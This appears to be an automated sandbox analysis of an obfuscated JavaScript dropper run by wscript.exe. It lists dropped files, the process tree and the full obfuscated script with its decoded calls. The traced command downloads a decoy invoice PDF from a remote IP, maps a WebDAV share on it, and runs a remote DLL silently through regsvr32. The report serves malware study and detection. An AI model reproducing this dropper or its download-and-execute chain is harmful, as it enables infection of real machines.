Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17302), with CRLF line terminators
Entropy (8bit):	4.932337311221885
TrID:
File name:	47011380785516565.js
File size:	20'953 bytes
MD5:	ecc8ee9fd988e21cd464983ee26b35bf
SHA1:	6f27dd60cce7d884d36758bd3724d48161ad7caa
SHA256:	8c50d398b535becd701ab36c9e8e03f265132db0a9448c7d9e7d56fefce82ac7
SHA512:	8437c73ad0cfba9d15b65ed35e3a0e03520166a88841d6e09478e38770236fc13520c7c8388e8707804d538ef4e85b47cdcb7a5043635434aa56960887328ccc
SSDEEP:	384:4lhxo6gzqygSQxZIdp5kT7VSaSjgVbWWJobMUtuBTbsAXJh10O:SouSQxZIdp5kT7VSa8gVbWWJobkBTbss
TLSH:	2B9213899817CFEFC4D82BA846CF2993B7E462CC5910142AE4175760778173E3AF26F6
File Content Preview:	function gvbmmvt(){secey=[1031,3079,5127,4103,2055,3072];var phaqapa=this[jphalwto+uvttcav+vmlggvlyc+oumuai+paynsfrdk+wdqwb+aqtepjl+mzqdzhc](this[ozyhd+yckuvc+kpodlnmf+vmlggvlyc+fjilu+jphalwto+mzqdzhc][vnfen+vmlggvlyc+paynsfrdk+uvttcav+mzqdzhc+paynsfrdk+i

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	11:59:32
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47011380785516565.js"
Imagebase:	0x7ff6244d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:59:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll
Imagebase:	0x7ff6fd720000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:59:34
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:59:34
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:59:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:59:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6fd720000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:59:38
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79b520000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:59:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:59:39
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:59:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1608,i,15722058686658153493,8996251667160913984,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gvbmmvt() {	gvbmmvt() ➔ undefined
1	secey = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var phaqapa = this[jphalwto + uvttcav + vmlggvlyc + oumuai + paynsfrdk + wdqwb + aqtepjl + mzqdzhc] ( this[ozyhd + yckuvc + kpodlnmf + vmlggvlyc + fjilu + jphalwto + mzqdzhc][vnfen + vmlggvlyc + paynsfrdk + uvttcav + mzqdzhc + paynsfrdk + iioqkshta + icptcybt + njqcqz + paynsfrdk + kpodlnmf + mzqdzhc] ( ozyhd + yckuvc + kpodlnmf + vmlggvlyc + fjilu + jphalwto + mzqdzhc + tiiscgljo + yckuvc + fhldlp + paynsfrdk + akooes + akooes ) [ffaetek + paynsfrdk + phejwea + ffaetek + paynsfrdk + uvttcav + augjuor] ( xoukx + qvkjonfow + zjvxtbwry + dxwsnnh + scnwe + vnfen + fnluwcbzf + ffaetek + ffaetek + zjvxtbwry + lriukmm + fchwhql + scnwe + fnluwcbzf + yckuvc + zjvxtbwry + ffaetek + gytriyw + vnfen + ujrnqrxy + aqtepjl + mzqdzhc + vmlggvlyc + ujrnqrxy + akooes + feszwukus + avikfia + uvttcav + aqtepjl + paynsfrdk + akooes + gytriyw + wdqwb + aqtepjl + mzqdzhc + paynsfrdk + vmlggvlyc + aqtepjl + uvttcav + mzqdzhc + fjilu + ujrnqrxy + aqtepjl + uvttcav + akooes + gytriyw + kitafr + ujrnqrxy + kpodlnmf + uvttcav + akooes + paynsfrdk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( utuyxo = 0 ; utuyxo < secey[akooes + paynsfrdk + aqtepjl + phejwea + mzqdzhc + fhldlp] ; ++ utuyxo )
4	{
5	if ( phaqapa == secey[utuyxo] )
6	{
7	phaqapa = true;
8	break ;
9	}
10	}
11	if ( phaqapa !== true )
12	this[ozyhd + yckuvc + kpodlnmf + vmlggvlyc + fjilu + jphalwto + mzqdzhc][pleshw + wddtkpt + fjilu + mzqdzhc] ( );
13	this[ozyhd + yckuvc + kpodlnmf + vmlggvlyc + fjilu + jphalwto + mzqdzhc][vnfen + vmlggvlyc + paynsfrdk + uvttcav + mzqdzhc + paynsfrdk + iioqkshta + icptcybt + njqcqz + paynsfrdk + kpodlnmf + mzqdzhc] ( ozyhd + yckuvc + kpodlnmf + vmlggvlyc + fjilu + jphalwto + mzqdzhc + tiiscgljo + yckuvc + fhldlp + paynsfrdk + akooes + akooes ) [vmlggvlyc + wddtkpt + aqtepjl] ( kpodlnmf + yvngpofpm + augjuor + feszwukus + vxiqimp + kpodlnmf + feszwukus + jphalwto + ujrnqrxy + xuzotrh + paynsfrdk + vmlggvlyc + oumuai + fhldlp + paynsfrdk + akooes + akooes + tiiscgljo + paynsfrdk + ycqwxyiy + paynsfrdk + feszwukus + nxxoe + vnfen + ujrnqrxy + yvngpofpm + yvngpofpm + uvttcav + aqtepjl + augjuor + feszwukus + mieuovpsi + wdqwb + aqtepjl + eyofy + ujrnqrxy + ghltndri + paynsfrdk + nxxoe + ozyhd + paynsfrdk + icptcybt + ffaetek + paynsfrdk + bgsnyxs + wddtkpt + paynsfrdk + oumuai + mzqdzhc + feszwukus + nxxoe + iioqkshta + wddtkpt + mzqdzhc + noqtem + fjilu + akooes + paynsfrdk + feszwukus + epqueki + mzqdzhc + paynsfrdk + yvngpofpm + jphalwto + epqueki + gytriyw + fjilu + aqtepjl + eyofy + ujrnqrxy + fjilu + kpodlnmf + paynsfrdk + tiiscgljo + jphalwto + augjuor + hyooxfib + feszwukus + fhldlp + mzqdzhc + mzqdzhc + jphalwto + zlynmqhmd + vxiqimp + vxiqimp + bhyqfacj + sqbgfe + wnkaaxzh + tiiscgljo + bhyqfacj + qybyvtkc + wnkaaxzh + tiiscgljo + bhyqfacj + tiiscgljo + vurnsik + eeerqur + wauhzz + vxiqimp + fjilu + aqtepjl + eyofy + ujrnqrxy + fjilu + kpodlnmf + paynsfrdk + tiiscgljo + jphalwto + fhldlp + jphalwto + mieuovpsi + nalbeqbea + nalbeqbea + oumuai + mzqdzhc + uvttcav + vmlggvlyc + mzqdzhc + feszwukus + epqueki + mzqdzhc + paynsfrdk + yvngpofpm + jphalwto + epqueki + gytriyw + fjilu + aqtepjl + eyofy + ujrnqrxy + fjilu + kpodlnmf + paynsfrdk + tiiscgljo + jphalwto + augjuor + hyooxfib + nalbeqbea + nalbeqbea + kpodlnmf + yvngpofpm + augjuor + feszwukus + vxiqimp + kpodlnmf + feszwukus + aqtepjl + paynsfrdk + mzqdzhc + feszwukus + wddtkpt + oumuai + paynsfrdk + feszwukus + gytriyw + gytriyw + bhyqfacj + sqbgfe + wnkaaxzh + tiiscgljo + bhyqfacj + qybyvtkc + wnkaaxzh + tiiscgljo + bhyqfacj + tiiscgljo + vurnsik + eeerqur + wauhzz + myagqgpyv + xwdgeoa + xwdgeoa + xwdgeoa + xwdgeoa + gytriyw + augjuor + uvttcav + eyofy + xuzotrh + xuzotrh + xuzotrh + vmlggvlyc + ujrnqrxy + ujrnqrxy + mzqdzhc + gytriyw + nalbeqbea + nalbeqbea + kpodlnmf + yvngpofpm + augjuor + feszwukus + vxiqimp + kpodlnmf + feszwukus + vmlggvlyc + paynsfrdk + phejwea + oumuai + eyofy + vmlggvlyc + wnkaaxzh + vurnsik + feszwukus + vxiqimp + oumuai + feszwukus + gytriyw + gytriyw + bhyqfacj + sqbgfe + wnkaaxzh + tiiscgljo + bhyqfacj + qybyvtkc + wnkaaxzh + tiiscgljo + bhyqfacj + tiiscgljo + vurnsik + eeerqur + wauhzz + myagqgpyv + xwdgeoa + xwdgeoa + xwdgeoa + xwdgeoa + gytriyw + augjuor + uvttcav + eyofy + xuzotrh + xuzotrh + xuzotrh + vmlggvlyc + ujrnqrxy + ujrnqrxy + mzqdzhc + gytriyw + vurnsik + wauhzz + eeerqur + sqbgfe + xwdgeoa + bhyqfacj + wnkaaxzh + xwdgeoa + xtxlf + wnkaaxzh + wnkaaxzh + vurnsik + xtxlf + wauhzz + xwdgeoa + tiiscgljo + augjuor + akooes + akooes, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll",0,false) ➔ 0
14	}
15	eeerqur = "w";
16	eeerqur = "e";
17	eeerqur = "r";
18	eeerqur = "0";
19	noqtem = "H";
20	noqtem = "G";
21	noqtem = "y";
22	noqtem = "Y";
23	noqtem = "P";
24	noqtem = "n";
25	noqtem = "V";
26	noqtem = "E";
27	noqtem = "n";
28	noqtem = "D";
29	noqtem = "B";
30	noqtem = "q";
31	noqtem = "H";
32	noqtem = "V";
33	noqtem = "k";
34	noqtem = "F";
35	xoukx = "Z";
36	xoukx = "J";
37	xoukx = "G";
38	xoukx = "i";
39	xoukx = "m";
40	xoukx = "Y";
41	xoukx = "C";
42	xoukx = "Z";
43	xoukx = "J";
44	xoukx = "w";
45	xoukx = "F";
46	xoukx = "D";
47	xoukx = "t";
48	xoukx = "X";
49	xoukx = "b";
50	xoukx = "o";
51	xoukx = "j";
52	xoukx = "H";
53	dxwsnnh = "R";
54	dxwsnnh = "m";
55	dxwsnnh = "V";
56	dxwsnnh = "o";
57	dxwsnnh = "v";
58	dxwsnnh = "f";
59	dxwsnnh = "S";
60	dxwsnnh = "U";
61	dxwsnnh = "s";
62	dxwsnnh = "J";
63	dxwsnnh = "e";
64	dxwsnnh = "n";
65	dxwsnnh = "Y";
66	uvttcav = "a";
67	yckuvc = "H";
68	yckuvc = "x";
69	yckuvc = "Z";
70	yckuvc = "v";
71	yckuvc = "O";
72	yckuvc = "R";
73	yckuvc = "p";
74	yckuvc = "v";
75	yckuvc = "W";
76	yckuvc = "c";
77	yckuvc = "V";
78	yckuvc = "T";
79	yckuvc = "q";
80	yckuvc = "Q";
81	yckuvc = "C";
82	yckuvc = "e";
83	yckuvc = "M";
84	yckuvc = "T";
85	yckuvc = "i";
86	yckuvc = "J";
87	yckuvc = "e";
88	yckuvc = "O";
89	yckuvc = "g";
90	yckuvc = "e";
91	yckuvc = "W";
92	yckuvc = "t";
93	yckuvc = "Z";
94	yckuvc = "p";
95	yckuvc = "R";
96	yckuvc = "c";
97	yckuvc = "i";
98	yckuvc = "d";
99	yckuvc = "p";
100	yckuvc = "Q";
101	yckuvc = "k";
102	yckuvc = "G";
103	yckuvc = "S";
104	kpodlnmf = "b";
105	kpodlnmf = "n";
106	kpodlnmf = "t";
107	kpodlnmf = "w";
108	kpodlnmf = "G";
109	kpodlnmf = "J";
110	kpodlnmf = "N";
111	kpodlnmf = "t";
112	kpodlnmf = "A";
113	kpodlnmf = "E";
114	kpodlnmf = "l";
115	kpodlnmf = "a";
116	kpodlnmf = "p";
117	kpodlnmf = "e";
118	kpodlnmf = "O";
119	kpodlnmf = "u";
120	kpodlnmf = "f";
121	kpodlnmf = "c";
122	fjilu = "T";
123	fjilu = "G";
124	fjilu = "M";
125	fjilu = "o";
126	fjilu = "l";
127	fjilu = "A";
128	fjilu = "R";
129	fjilu = "p";
130	fjilu = "W";
131	fjilu = "A";
132	fjilu = "r";
133	fjilu = "J";
134	fjilu = "P";
135	fjilu = "E";
136	fjilu = "L";
137	fjilu = "K";
138	fjilu = "l";
139	fjilu = "t";
140	fjilu = "j";
141	fjilu = "S";
142	fjilu = "U";
143	fjilu = "c";
144	fjilu = "c";
145	fjilu = "i";
146	vurnsik = "D";
147	vurnsik = "n";
148	vurnsik = "d";
149	vurnsik = "v";
150	vurnsik = "k";
151	vurnsik = "j";
152	vurnsik = "B";
153	vurnsik = "w";
154	vurnsik = "z";
155	vurnsik = "u";
156	vurnsik = "M";
157	vurnsik = "2";
158	mieuovpsi = "M";
159	mieuovpsi = "a";
160	mieuovpsi = "U";
161	mieuovpsi = "d";
162	mieuovpsi = "z";
163	mieuovpsi = "g";
164	mieuovpsi = "V";
165	mieuovpsi = "A";
166	mieuovpsi = "h";
167	mieuovpsi = "G";
168	mieuovpsi = "v";
169	mieuovpsi = "g";
170	mieuovpsi = "A";
171	mieuovpsi = "t";
172	mieuovpsi = "R";
173	mieuovpsi = "k";
174	mieuovpsi = "A";
175	mieuovpsi = "P";
176	mieuovpsi = "w";
177	mieuovpsi = "e";
178	mieuovpsi = "f";
179	mieuovpsi = "p";
180	mieuovpsi = "L";
181	mieuovpsi = "s";
182	mieuovpsi = "o";
183	mieuovpsi = "F";
184	mieuovpsi = "Q";
185	mieuovpsi = "I";
186	mieuovpsi = "\"";
187	paynsfrdk = "t";
188	paynsfrdk = "G";
189	paynsfrdk = "X";
190	paynsfrdk = "e";
191	paynsfrdk = "T";
192	paynsfrdk = "f";
193	paynsfrdk = "U";
194	paynsfrdk = "y";
195	paynsfrdk = "g";
196	paynsfrdk = "h";
197	paynsfrdk = "Z";
198	paynsfrdk = "p";
199	paynsfrdk = "u";
200	paynsfrdk = "i";
201	paynsfrdk = "W";
202	paynsfrdk = "Q";
203	paynsfrdk = "V";
204	paynsfrdk = "W";
205	paynsfrdk = "o";
206	paynsfrdk = "K";
207	paynsfrdk = "e";
208	paynsfrdk = "d";
209	paynsfrdk = "r";
210	paynsfrdk = "j";
211	paynsfrdk = "e";
212	paynsfrdk = "r";
213	paynsfrdk = "u";
214	paynsfrdk = "H";
215	paynsfrdk = "u";
216	paynsfrdk = "s";
217	paynsfrdk = "Z";
218	paynsfrdk = "S";
219	paynsfrdk = "j";
220	paynsfrdk = "G";
221	paynsfrdk = "e";
222	ffaetek = "C";
223	ffaetek = "B";
224	ffaetek = "f";
225	ffaetek = "O";
226	ffaetek = "P";
227	ffaetek = "l";
228	ffaetek = "P";
229	ffaetek = "f";
230	ffaetek = "n";
231	ffaetek = "Y";
232	ffaetek = "m";
233	ffaetek = "R";
234	lriukmm = "M";
235	lriukmm = "f";
236	lriukmm = "B";
237	lriukmm = "P";
238	lriukmm = "a";
239	lriukmm = "Y";
240	lriukmm = "e";
241	lriukmm = "e";
242	lriukmm = "Q";
243	lriukmm = "u";
244	lriukmm = "i";
245	lriukmm = "N";
246	lriukmm = "s";
247	lriukmm = "m";
248	lriukmm = "r";
249	lriukmm = "i";
250	lriukmm = "j";
251	lriukmm = "N";
252	gytriyw = "r";
253	gytriyw = "s";
254	gytriyw = "y";
255	gytriyw = "m";
256	gytriyw = "R";
257	gytriyw = "\\";
258	vmlggvlyc = "X";
259	vmlggvlyc = "A";
260	vmlggvlyc = "c";
261	vmlggvlyc = "A";
262	vmlggvlyc = "N";
263	vmlggvlyc = "B";
264	vmlggvlyc = "s";
265	vmlggvlyc = "l";
266	vmlggvlyc = "H";
267	vmlggvlyc = "Z";
268	vmlggvlyc = "F";
269	vmlggvlyc = "z";
270	vmlggvlyc = "t";
271	vmlggvlyc = "d";
272	vmlggvlyc = "X";
273	vmlggvlyc = "S";
274	vmlggvlyc = "W";
275	vmlggvlyc = "T";
276	vmlggvlyc = "Y";
277	vmlggvlyc = "V";
278	vmlggvlyc = "t";
279	vmlggvlyc = "C";
280	vmlggvlyc = "C";
281	vmlggvlyc = "b";
282	vmlggvlyc = "G";
283	vmlggvlyc = "X";
284	vmlggvlyc = "d";
285	vmlggvlyc = "a";
286	vmlggvlyc = "a";
287	vmlggvlyc = "m";
288	vmlggvlyc = "I";
289	vmlggvlyc = "n";
290	vmlggvlyc = "j";
291	vmlggvlyc = "r";
292	vnfen = "C";
293	epqueki = "q";
294	epqueki = "L";
295	epqueki = "S";
296	epqueki = "M";
297	epqueki = "R";
298	epqueki = "S";
299	epqueki = "s";
300	epqueki = "t";
301	epqueki = "o";
302	epqueki = "K";
303	epqueki = "j";
304	epqueki = "f";
305	epqueki = "B";
306	epqueki = "p";
307	epqueki = "D";
308	epqueki = "C";
309	epqueki = "d";
310	epqueki = "G";
311	epqueki = "N";
312	epqueki = "z";
313	epqueki = "H";
314	epqueki = "z";
315	epqueki = "A";
316	epqueki = "V";
317	epqueki = "L";
318	epqueki = "e";
319	epqueki = "P";
320	epqueki = "%";
321	fchwhql = "L";
322	fchwhql = "h";
323	fchwhql = "Q";
324	fchwhql = "u";
325	fchwhql = "e";
326	fchwhql = "e";
327	fchwhql = "p";
328	fchwhql = "q";
329	fchwhql = "R";
330	fchwhql = "L";
331	fchwhql = "n";
332	fchwhql = "A";
333	fchwhql = "G";
334	fchwhql = "a";
335	fchwhql = "n";
336	fchwhql = "a";
337	fchwhql = "T";
338	avikfia = "v";
339	avikfia = "y";
340	avikfia = "x";
341	avikfia = "P";
342	iioqkshta = "F";
343	iioqkshta = "P";
344	iioqkshta = "f";
345	iioqkshta = "O";
346	fhldlp = "g";
347	fhldlp = "S";
348	fhldlp = "j";
349	fhldlp = "I";
350	fhldlp = "b";
351	fhldlp = "A";
352	fhldlp = "I";
353	fhldlp = "B";
354	fhldlp = "e";
355	fhldlp = "l";
356	fhldlp = "g";
357	fhldlp = "R";
358	fhldlp = "h";
359	fhldlp = "q";
360	fhldlp = "w";
361	fhldlp = "E";
362	fhldlp = "q";
363	fhldlp = "W";
364	fhldlp = "d";
365	fhldlp = "p";
366	fhldlp = "K";
367	fhldlp = "n";
368	fhldlp = "j";
369	fhldlp = "y";
370	fhldlp = "B";
371	fhldlp = "h";
372	fhldlp = "g";
373	fhldlp = "O";
374	fhldlp = "h";
375	hyooxfib = "U";
376	hyooxfib = "r";
377	hyooxfib = "N";
378	hyooxfib = "L";
379	hyooxfib = "X";
380	hyooxfib = "f";
381	hyooxfib = "G";
382	hyooxfib = "C";
383	hyooxfib = "Z";
384	hyooxfib = "j";
385	hyooxfib = "T";
386	hyooxfib = "t";
387	hyooxfib = "k";
388	hyooxfib = "c";
389	hyooxfib = "k";
390	hyooxfib = "E";
391	hyooxfib = "c";
392	hyooxfib = "y";
393	hyooxfib = "v";
394	hyooxfib = "m";
395	hyooxfib = "U";
396	hyooxfib = "u";
397	hyooxfib = "N";
398	hyooxfib = "P";
399	hyooxfib = "K";
400	hyooxfib = "D";
401	hyooxfib = "q";
402	hyooxfib = "f";
403	wnkaaxzh = "Y";
404	wnkaaxzh = "u";
405	wnkaaxzh = "e";
406	wnkaaxzh = "s";
407	wnkaaxzh = "w";
408	wnkaaxzh = "O";
409	wnkaaxzh = "K";
410	wnkaaxzh = "K";
411	wnkaaxzh = "V";
412	wnkaaxzh = "X";
413	wnkaaxzh = "s";
414	wnkaaxzh = "J";
415	wnkaaxzh = "r";
416	wnkaaxzh = "d";
417	wnkaaxzh = "L";
418	wnkaaxzh = "V";
419	wnkaaxzh = "C";
420	wnkaaxzh = "Y";
421	wnkaaxzh = "P";
422	wnkaaxzh = "E";
423	wnkaaxzh = "N";
424	wnkaaxzh = "o";
425	wnkaaxzh = "V";
426	wnkaaxzh = "t";
427	wnkaaxzh = "E";
428	wnkaaxzh = "Y";
429	wnkaaxzh = "e";
430	wnkaaxzh = "r";
431	wnkaaxzh = "B";
432	wnkaaxzh = "F";
433	wnkaaxzh = "y";
434	wnkaaxzh = "C";
435	wnkaaxzh = "X";
436	wnkaaxzh = "q";
437	wnkaaxzh = "W";
438	wnkaaxzh = "V";
439	wnkaaxzh = "x";
440	wnkaaxzh = "n";
441	wnkaaxzh = "U";
442	wnkaaxzh = "u";
443	wnkaaxzh = "Q";
444	wnkaaxzh = "n";
445	wnkaaxzh = "N";
446	wnkaaxzh = "3";
447	wauhzz = "o";
448	wauhzz = "n";
449	wauhzz = "U";
450	wauhzz = "D";
451	wauhzz = "k";
452	wauhzz = "L";
453	wauhzz = "F";
454	wauhzz = "B";
455	wauhzz = "y";
456	wauhzz = "p";
457	wauhzz = "g";
458	wauhzz = "n";
459	wauhzz = "X";
460	wauhzz = "V";
461	wauhzz = "U";
462	wauhzz = "y";
463	wauhzz = "F";
464	wauhzz = "o";
465	wauhzz = "W";
466	wauhzz = "5";
467	njqcqz = "Y";
468	njqcqz = "Y";
469	njqcqz = "y";
470	njqcqz = "E";
471	njqcqz = "W";
472	njqcqz = "z";
473	njqcqz = "n";
474	njqcqz = "R";
475	njqcqz = "c";
476	njqcqz = "G";
477	njqcqz = "a";
478	njqcqz = "D";
479	njqcqz = "b";
480	njqcqz = "o";
481	njqcqz = "l";
482	njqcqz = "z";
483	njqcqz = "h";
484	njqcqz = "H";
485	njqcqz = "v";
486	njqcqz = "j";
487	icptcybt = "j";
488	icptcybt = "l";
489	icptcybt = "b";
490	icptcybt = "P";
491	icptcybt = "R";
492	icptcybt = "R";
493	icptcybt = "b";
494	icptcybt = "f";
495	icptcybt = "Q";
496	icptcybt = "A";
497	icptcybt = "H";
498	icptcybt = "L";
499	icptcybt = "a";
500	icptcybt = "d";
501	icptcybt = "m";
502	icptcybt = "I";
503	icptcybt = "F";
504	icptcybt = "d";
505	icptcybt = "W";
506	icptcybt = "t";
507	icptcybt = "b";
508	bhyqfacj = "s";
509	bhyqfacj = "o";
510	bhyqfacj = "N";
511	bhyqfacj = "A";
512	bhyqfacj = "z";
513	bhyqfacj = "N";
514	bhyqfacj = "s";
515	bhyqfacj = "K";
516	bhyqfacj = "v";
517	bhyqfacj = "i";
518	bhyqfacj = "n";
519	bhyqfacj = "e";
520	bhyqfacj = "H";
521	bhyqfacj = "i";
522	bhyqfacj = "w";
523	bhyqfacj = "S";
524	bhyqfacj = "p";
525	bhyqfacj = "x";
526	bhyqfacj = "1";
527	bgsnyxs = "O";
528	bgsnyxs = "y";
529	bgsnyxs = "A";
530	bgsnyxs = "R";
531	bgsnyxs = "P";
532	bgsnyxs = "K";
533	bgsnyxs = "T";
534	bgsnyxs = "O";
535	bgsnyxs = "u";
536	bgsnyxs = "J";
537	bgsnyxs = "o";
538	bgsnyxs = "P";
539	bgsnyxs = "p";
540	bgsnyxs = "e";
541	bgsnyxs = "T";
542	bgsnyxs = "D";
543	bgsnyxs = "c";
544	bgsnyxs = "Q";
545	bgsnyxs = "s";
546	bgsnyxs = "b";
547	bgsnyxs = "Z";
548	bgsnyxs = "a";
549	bgsnyxs = "N";
550	bgsnyxs = "F";
